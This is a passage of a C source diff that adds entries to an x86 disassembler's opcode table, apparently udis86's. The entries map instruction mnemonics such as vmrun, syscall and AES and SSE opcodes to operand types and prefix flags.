*/ { UD_Ivmrun, O_NONE, O_NONE, O_NONE, P_none }, + /* 0038 */ { UD_Ivmmcall, O_NONE, O_NONE, O_NONE, P_none }, + /* 0039 */ { UD_Ivmload, O_NONE, O_NONE, O_NONE, P_none }, + /* 0040 */ { UD_Ivmsave, O_NONE, O_NONE, O_NONE, P_none }, + /* 0041 */ { UD_Istgi, O_NONE, O_NONE, O_NONE, P_none }, + /* 0042 */ { UD_Iclgi, O_NONE, O_NONE, O_NONE, P_none }, + /* 0043 */ { UD_Iskinit, O_NONE, O_NONE, O_NONE, P_none }, + /* 0044 */ { UD_Iinvlpga, O_NONE, O_NONE, O_NONE, P_none }, + /* 0045 */ { UD_Ismsw, O_MwRv, O_NONE, O_NONE, P_aso|P_oso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 0046 */ { UD_Ilmsw, O_Ew, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0047 */ { UD_Iswapgs, O_NONE, O_NONE, O_NONE, P_none }, + /* 0048 */ { UD_Irdtscp, O_NONE, O_NONE, O_NONE, P_none }, + /* 0049 */ { UD_Ilar, O_Gv, O_Ew, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0050 */ { UD_Ilsl, O_Gv, O_Ew, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0051 */ { UD_Isyscall, O_NONE, O_NONE, O_NONE, P_none }, + /* 0052 */ { UD_Iclts, O_NONE, O_NONE, O_NONE, P_none }, + /* 0053 */ { UD_Isysret, O_NONE, O_NONE, O_NONE, P_none }, + /* 0054 */ { UD_Iinvd, O_NONE, O_NONE, O_NONE, P_none }, + /* 0055 */ { UD_Iwbinvd, O_NONE, O_NONE, O_NONE, P_none }, + /* 0056 */ { UD_Iud2, O_NONE, O_NONE, O_NONE, P_none }, + /* 0057 */ { UD_Iprefetch, O_M, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0058 */ { UD_Iprefetch, O_M, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0059 */ { UD_Iprefetch, O_M, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0060 */ { UD_Iprefetch, O_M, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0061 */ { UD_Iprefetch, O_M, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0062 */ { UD_Iprefetch, O_M, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0063 */ { UD_Iprefetch, O_M, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0064 */ { UD_Iprefetch, O_M, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0065 */ { UD_Ifemms, O_NONE, O_NONE, O_NONE, P_none }, + /* 0066 */ { UD_Ipi2fw, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0067 */ { UD_Ipi2fd, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0068 */ { UD_Ipf2iw, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0069 */ { UD_Ipf2id, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0070 */ { UD_Ipfnacc, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0071 */ { UD_Ipfpnacc, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0072 */ { UD_Ipfcmpge, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0073 */ { UD_Ipfmin, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0074 */ { UD_Ipfrcp, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0075 */ { UD_Ipfrsqrt, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0076 */ { UD_Ipfsub, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0077 */ { UD_Ipfadd, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0078 */ { UD_Ipfcmpgt, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0079 */ { UD_Ipfmax, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0080 */ { UD_Ipfrcpit1, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0081 */ { UD_Ipfrsqit1, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0082 */ { UD_Ipfsubr, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0083 */ { UD_Ipfacc, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0084 */ { UD_Ipfcmpeq, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0085 */ { UD_Ipfmul, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0086 */ { UD_Ipfrcpit2, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0087 */ { UD_Ipmulhrw, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0088 */ { UD_Ipswapd, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0089 */ { UD_Ipavgusb, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0090 */ { UD_Imovups, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0091 */ { UD_Imovsd, O_V, O_W, O_NONE, P_str|P_aso|P_rexr|P_rexx|P_rexb }, + /* 0092 */ { UD_Imovss, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0093 */ { UD_Imovupd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0094 */ { UD_Imovups, O_W, O_V, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0095 */ { UD_Imovsd, O_W, O_V, O_NONE, P_str|P_aso|P_rexr|P_rexx|P_rexb }, + /* 0096 */ { UD_Imovss, O_W, O_V, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0097 */ { UD_Imovupd, O_W, O_V, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0098 */ { UD_Imovlps, O_V, O_M, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0099 */ { UD_Imovddup, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0100 */ { UD_Imovsldup, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0101 */ { UD_Imovlpd, O_V, O_M, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0102 */ { UD_Imovhlps, O_V, O_U, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0103 */ { UD_Imovddup, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0104 */ { UD_Imovsldup, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0105 */ { UD_Imovlps, O_M, O_V, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0106 */ { UD_Imovlpd, O_M, O_V, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0107 */ { UD_Iunpcklps, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0108 */ { UD_Iunpcklpd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0109 */ { UD_Iunpckhps, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0110 */ { UD_Iunpckhpd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0111 */ { UD_Imovhps, O_V, O_M, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0112 */ { UD_Imovshdup, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0113 */ { UD_Imovhpd, O_V, O_M, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0114 */ { UD_Imovlhps, O_V, O_U, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0115 */ { UD_Imovshdup, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0116 */ { UD_Imovhps, O_M, O_V, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0117 */ { UD_Imovhpd, O_M, O_V, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0118 */ { UD_Iprefetchnta, O_M, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0119 */ { UD_Iprefetcht0, O_M, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0120 */ { UD_Iprefetcht1, O_M, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0121 */ { UD_Iprefetcht2, O_M, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0122 */ { UD_Inop, O_M, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0123 */ { UD_Inop, O_M, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0124 */ { UD_Inop, O_M, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0125 */ { UD_Inop, O_M, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0126 */ { UD_Inop, O_M, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0127 */ { UD_Inop, O_M, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0128 */ { UD_Inop, O_M, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0129 */ { UD_Imov, O_R, O_C, O_NONE, P_rexr|P_rexw|P_rexb }, + /* 0130 */ { UD_Imov, O_R, O_D, O_NONE, P_rexr|P_rexw|P_rexb }, + /* 0131 */ { UD_Imov, O_C, O_R, O_NONE, P_rexr|P_rexw|P_rexb }, + /* 0132 */ { UD_Imov, O_D, O_R, O_NONE, P_rexr|P_rexw|P_rexb }, + /* 0133 */ { UD_Imovaps, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0134 */ { UD_Imovapd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0135 */ { UD_Imovaps, O_W, O_V, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0136 */ { UD_Imovapd, O_W, O_V, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0137 */ { UD_Icvtpi2ps, O_V, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0138 */ { UD_Icvtsi2sd, O_V, O_Ey, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0139 */ { UD_Icvtsi2ss, O_V, O_Ey, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0140 */ { UD_Icvtpi2pd, O_V, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0141 */ { UD_Imovntps, O_M, O_V, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0142 */ { UD_Imovntpd, O_M, O_V, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0143 */ { UD_Icvttps2pi, O_P, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0144 */ { UD_Icvttsd2si, O_Gy, O_W, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0145 */ { UD_Icvttss2si, O_Gy, O_W, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0146 */ { UD_Icvttpd2pi, O_P, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0147 */ { UD_Icvtps2pi, O_P, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0148 */ { UD_Icvtsd2si, O_Gy, O_W, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0149 */ { UD_Icvtss2si, O_Gy, O_W, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0150 */ { UD_Icvtpd2pi, O_P, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0151 */ { UD_Iucomiss, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0152 */ { UD_Iucomisd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0153 */ { UD_Icomiss, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0154 */ { UD_Icomisd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0155 */ { UD_Iwrmsr, O_NONE, O_NONE, O_NONE, P_none }, + /* 0156 */ { UD_Irdtsc, O_NONE, O_NONE, O_NONE, P_none }, + /* 0157 */ { UD_Irdmsr, O_NONE, O_NONE, O_NONE, P_none }, + /* 0158 */ { UD_Irdpmc, O_NONE, O_NONE, O_NONE, P_none }, + /* 0159 */ { UD_Isysenter, O_NONE, O_NONE, O_NONE, P_none }, + /* 0160 */ { UD_Isysenter, O_NONE, O_NONE, O_NONE, P_none }, + /* 0161 */ { UD_Isysexit, O_NONE, O_NONE, O_NONE, P_none }, + /* 0162 */ { UD_Isysexit, O_NONE, O_NONE, O_NONE, P_none }, + /* 0163 */ { UD_Igetsec, O_NONE, O_NONE, O_NONE, P_none }, + /* 0164 */ { UD_Ipshufb, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0165 */ { UD_Ipshufb, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0166 */ { UD_Iphaddw, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0167 */ { UD_Iphaddw, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0168 */ { UD_Iphaddd, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0169 */ { UD_Iphaddd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0170 */ { UD_Iphaddsw, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0171 */ { UD_Iphaddsw, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0172 */ { UD_Ipmaddubsw, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0173 */ { UD_Ipmaddubsw, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0174 */ { UD_Iphsubw, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0175 */ { UD_Iphsubw, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0176 */ { UD_Iphsubd, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0177 */ { UD_Iphsubd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0178 */ { UD_Iphsubsw, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0179 */ { UD_Iphsubsw, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0180 */ { UD_Ipsignb, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0181 */ { UD_Ipsignb, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0182 */ { UD_Ipsignw, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0183 */ { UD_Ipsignw, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0184 */ { UD_Ipsignd, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0185 */ { UD_Ipsignd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0186 */ { UD_Ipmulhrsw, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0187 */ { UD_Ipmulhrsw, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0188 */ { UD_Ipblendvb, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0189 */ { UD_Iblendvps, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0190 */ { UD_Iblendvpd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0191 */ { UD_Iptest, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 0192 */ { UD_Ipabsb, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0193 */ { UD_Ipabsb, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0194 */ { UD_Ipabsw, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0195 */ { UD_Ipabsw, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0196 */ { UD_Ipabsd, O_P, O_Q, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0197 */ { UD_Ipabsd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0198 */ { UD_Ipmovsxbw, O_V, O_MqU, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 0199 */ { UD_Ipmovsxbd, O_V, O_MdU, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 0200 */ { UD_Ipmovsxbq, O_V, O_MwU, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 0201 */ { UD_Ipmovsxwd, O_V, O_MqU, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 0202 */ { UD_Ipmovsxwq, O_V, O_MdU, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 0203 */ { UD_Ipmovsxdq, O_V, O_MqU, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 0204 */ { UD_Ipmuldq, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0205 */ { UD_Ipcmpeqq, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 0206 */ { UD_Imovntdqa, O_V, O_Mo, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 0207 */ { UD_Ipackusdw, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 0208 */ { UD_Ipmovzxbw, O_V, O_MqU, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 0209 */ { UD_Ipmovzxbd, O_V, O_MdU, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 0210 */ { UD_Ipmovzxbq, O_V, O_MwU, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 0211 */ { UD_Ipmovzxwd, O_V, O_MqU, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 0212 */ { UD_Ipmovzxwq, O_V, O_MdU, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 0213 */ { UD_Ipmovzxdq, O_V, O_MqU, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 0214 */ { UD_Ipcmpgtq, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 0215 */ { UD_Ipminsb, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0216 */ { UD_Ipminsd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0217 */ { UD_Ipminuw, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0218 */ { UD_Ipminud, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0219 */ { UD_Ipmaxsb, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0220 */ { UD_Ipmaxsd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0221 */ { UD_Ipmaxuw, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0222 */ { UD_Ipmaxud, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0223 */ { UD_Ipmulld, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0224 */ { UD_Iphminposuw, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0225 */ { UD_Iinvept, O_Gq, O_Mo, O_NONE, P_none }, + /* 0226 */ { UD_Iinvvpid, O_Gq, O_Mo, O_NONE, P_none }, + /* 0227 */ { UD_Iaesimc, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0228 */ { UD_Iaesenc, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0229 */ { UD_Iaesenclast, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0230 */ { UD_Iaesdec, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0231 */ { UD_Iaesdeclast, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0232 */ { UD_Imovbe, O_Gv, O_Mv, O_NONE, P_aso|P_oso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 0233 */ { UD_Icrc32, O_Gy, O_Eb, O_NONE, P_aso|P_oso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 0234 */ { UD_Imovbe, O_Mv, O_Gv, O_NONE, P_aso|P_oso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 0235 */ { UD_Icrc32, O_Gy, O_Ev, O_NONE, P_aso|P_oso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 0236 */ { UD_Iroundps, O_V, O_W, O_Ib, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0237 */ { UD_Iroundpd, O_V, O_W, O_Ib, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0238 */ { UD_Iroundss, O_V, O_W, O_Ib, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0239 */ { UD_Iroundsd, O_V, O_W, O_Ib, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0240 */ { UD_Iblendps, O_V, O_W, O_Ib, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0241 */ { UD_Iblendpd, O_V, O_W, O_Ib, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0242 */ { UD_Ipblendw, O_V, O_W, O_Ib, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0243 */ { UD_Ipalignr, O_P, O_Q, O_Ib, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0244 */ { UD_Ipalignr, O_V, O_W, O_Ib, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0245 */ { UD_Ipextrb, O_MbRv, O_V, O_Ib, P_aso|P_rexx|P_rexr|P_rexb|P_def64 }, + /* 0246 */ { UD_Ipextrw, O_MwRd, O_V, O_Ib, P_aso|P_rexx|P_rexr|P_rexb }, + /* 0247 */ { UD_Ipextrd, O_Ed, O_V, O_Ib, P_aso|P_rexr|P_rexx|P_rexw|P_rexb }, + /* 0248 */ { UD_Ipextrd, O_Ed, O_V, O_Ib, P_aso|P_rexr|P_rexx|P_rexw|P_rexb }, + /* 0249 */ { UD_Ipextrq, O_Eq, O_V, O_Ib, P_aso|P_rexr|P_rexw|P_rexb|P_def64 }, + /* 0250 */ { UD_Iextractps, O_MdRy, O_V, O_Ib, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 0251 */ { UD_Ipinsrb, O_V, O_MbRd, O_Ib, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0252 */ { UD_Iinsertps, O_V, O_Md, O_Ib, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 0253 */ { UD_Ipinsrd, O_V, O_Ed, O_Ib, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0254 */ { UD_Ipinsrd, O_V, O_Ed, O_Ib, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0255 */ { UD_Ipinsrq, O_V, O_Eq, O_Ib, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0256 */ { UD_Idpps, O_V, O_W, O_Ib, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0257 */ { UD_Idppd, O_V, O_W, O_Ib, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0258 */ { UD_Impsadbw, O_V, O_W, O_Ib, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0259 */ { UD_Ipclmulqdq, O_V, O_W, O_Ib, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0260 */ { UD_Ipcmpestrm, O_V, O_W, O_Ib, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 0261 */ { UD_Ipcmpestri, O_V, O_W, O_Ib, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 0262 */ { UD_Ipcmpistrm, O_V, O_W, O_Ib, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 0263 */ { UD_Ipcmpistri, O_V, O_W, O_Ib, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 0264 */ { UD_Iaeskeygenassist, O_V, O_W, O_Ib, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0265 */ { UD_Icmovo, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0266 */ { UD_Icmovno, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0267 */ { UD_Icmovb, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0268 */ { UD_Icmovae, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0269 */ { UD_Icmovz, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0270 */ { UD_Icmovnz, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0271 */ { UD_Icmovbe, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0272 */ { UD_Icmova, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0273 */ { UD_Icmovs, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0274 */ { UD_Icmovns, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0275 */ { UD_Icmovp, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0276 */ { UD_Icmovnp, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0277 */ { UD_Icmovl, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0278 */ { UD_Icmovge, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0279 */ { UD_Icmovle, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0280 */ { UD_Icmovg, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0281 */ { UD_Imovmskps, O_Gd, O_U, O_NONE, P_oso|P_rexr|P_rexb }, + /* 0282 */ { UD_Imovmskpd, O_Gd, O_U, O_NONE, P_oso|P_rexr|P_rexb }, + /* 0283 */ { UD_Isqrtps, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0284 */ { UD_Isqrtsd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0285 */ { UD_Isqrtss, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0286 */ { UD_Isqrtpd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0287 */ { UD_Irsqrtps, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0288 */ { UD_Irsqrtss, O_V, O_W, 